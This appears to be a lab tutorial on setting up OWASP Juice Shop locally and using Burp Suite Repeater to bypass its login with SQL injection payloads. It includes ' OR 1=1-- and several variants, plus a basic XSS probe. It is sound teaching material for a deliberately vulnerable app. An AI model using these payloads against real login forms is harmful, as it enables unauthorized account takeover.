From Zero to SQL Injection Success
📋 PREREQUISITES
- Kali Linux VM (Fresh Installation)
- Internet Connection
- Minimum 4GB RAM, 20GB Disk Space
PHASE 1: SYSTEM SETUP & DOCKER INSTALLATION
Step 1: Update Kali Linux
sudo apt update && sudo apt upgrade -y
sudo apt autoremove -yStep 2: Install Docker
# Install Docker
sudo apt install docker.io -y
# Start and enable Docker service
sudo systemctl start docker
sudo systemctl enable docker
# Add user to docker group (avoid sudo for docker commands)
sudo usermod -aG docker $USER
# Apply group changes (log out/in or use this)
newgrp docker
# Verify installation
docker --versionStep 3: Verify Docker
# Test Docker without sudo
docker ps
# Should show: CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESPHASE 2: OWASP JUICE SHOP SETUP
Step 4: Pull Juice Shop Image
docker pull bkimminich/juice-shopStep 5: Run Juice Shop Container
# Run in detached mode on port 3000
docker run -d -p 3000:3000 bkimminich/juice-shop
# Verify it's running
docker ps
# Should show Juice Shop container runningStep 6: Access Juice Shop
Open in browser – firefox – http://localhost:3000
Expected Result: Modern e-commerce juice shop website loads
PHASE 3: BURP SUITE SETUP
Step 7: Launch Burp Suite
Start Burp Suite in Your Terminal
burpsuite
OR Applications → 03 – Web Application Analysis → burpsuite
Step 8: Initial Burp Configuration
- Select: “Temporary Project”
- Choose: “Use Burp Defaults”
- Wait for Burp to fully load
Step 9: Configure Proxy Settings
- Go to Proxy tab → Options sub-tab
- Ensure proxy listener is running on
127.0.0.1:8080 - Intercept tab → Turn “Intercept is on”
Step 10: Configure Firefox Proxy
- Open Firefox → Preferences → General
- Scroll to Network Settings → Settings
- Select “Manual proxy configuration”
- Set:
- HTTP Proxy:
127.0.0.1 - Port:
8080 - Check “Use this proxy for all protocols”
- HTTP Proxy:
- Click OK
PHASE 4: SQL INJECTION DEMONSTRATION
Step 11: Intercept Login Request
- In Firefox, go to
http://localhost:3000 - Click Login in top right
- Enter ANY email and password (e.g.,
test@test.com,password) - Click Log in
- Request will be captured in Burp Intercept tab
Step 12: Send to Repeater
- In Burp Intercept tab, right-click the request
- Select “Send to Repeater”
- Go to Repeater tab
Step 13: Perform SQL Injection
Original Request Body:
{"email":"test@test.com","password":"password"}Modified SQL Injection Payload:
{"email":"' OR 1=1--","password":"anything"}Steps:
- In Repeater, change the email to
' OR 1=1-- - Change password to anything
- Click “Send”
Step 14: Analyze Successful Attack
Successful Response (200 OK):
{
"authentication": {
"token": "eyJhbGci...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}Failed Response (401 Unauthorized):
{"error":"Invalid email or password."}🔥 ALTERNATIVE SQL INJECTION PAYLOADS TO TEST
{"email":"admin'--","password":"x"}{"email":"' OR true--","password":"x"}{"email":"' or 1=1#","password":"x"}📊 VERIFICATION CHECKLIST
- Docker installed and running
- Juice Shop accessible at
localhost:3000 - Burp Suite intercepting traffic
- Login request captured in Burp
- SQL injection payload sent via Repeater
- 200 OK response with authentication token received
- Successfully logged in as admin
🚨 TROUBLESHOOTING COMMON ISSUES
Docker Permission Denied
sudo usermod -aG docker $USER
newgrp dockerBurp Not Intercepting
- Verify Firefox proxy settings
- Check Burp Proxy listener is enabled
- Ensure “Intercept is on”
Juice Shop Not Accessible
docker ps
docker logs [container_id]SQL Injection Not Working
- Try different payload variants
- Check for JSON syntax errors
- Ensure no spaces after comments
🎯 NEXT LEARNING STEPS
After successful SQL injection:
- XSS Testing: Try
<script>alert('XSS')</script>in search box - Broken Authentication: Test other login bypass methods
- API Testing: Explore
/rest/endpoints - Score Board: Visit
http://localhost:3000/#/score-boardfor challenges
📝 SECURITY NOTES
- ✅ This lab is for educational purposes only
- ✅ All testing is done locally in controlled environment
- ✅ These techniques should only be used on systems you own
- ✅ Always follow responsible disclosure practices
🎉 CONGRATULATIONS! You now have a fully functional ethical hacking lab and have successfully demonstrated SQL injection!
“Stuck at any step? You’re not alone!
Visit my LinkTree for: https://beacons.ai/keemgraetechnologies
1-on-1 community support
Detailed written guides
Common error solutions
Lab configuration files

